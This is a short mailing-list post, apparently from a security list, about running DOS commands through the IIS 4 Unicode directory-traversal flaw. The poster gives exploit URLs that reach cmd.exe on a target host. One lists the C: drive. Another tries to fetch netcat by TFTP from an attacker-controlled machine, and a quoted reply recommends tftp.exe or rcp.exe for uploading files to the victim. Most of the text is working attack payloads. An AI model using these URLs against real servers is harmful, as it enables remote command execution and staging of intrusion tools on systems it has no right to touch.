Re: dos commands via iis 4 (TFTP)

["Loschiavo, Dave" <DLoschiavo () FRCC CC CA US>]

I tried tftp commands in the URL, formatted like this:
http://192/168.1.250/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/c
md.exe?/tftp+-i+192.168.1.20+nc.exe"

and got nowhere, while this:
http://192.168.1.250/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/c
md.exe?/c+dir+c: gave me a listing of the of the c: drive.

Am I formatting the "TFTP" URL incorrectly?

[snip]

        However, a much simpler solution for uploading files is
to just run "tftp.exe" or "rcp.exe" (or, various other such
commands) to transfer a file from some machine you control...

[snip]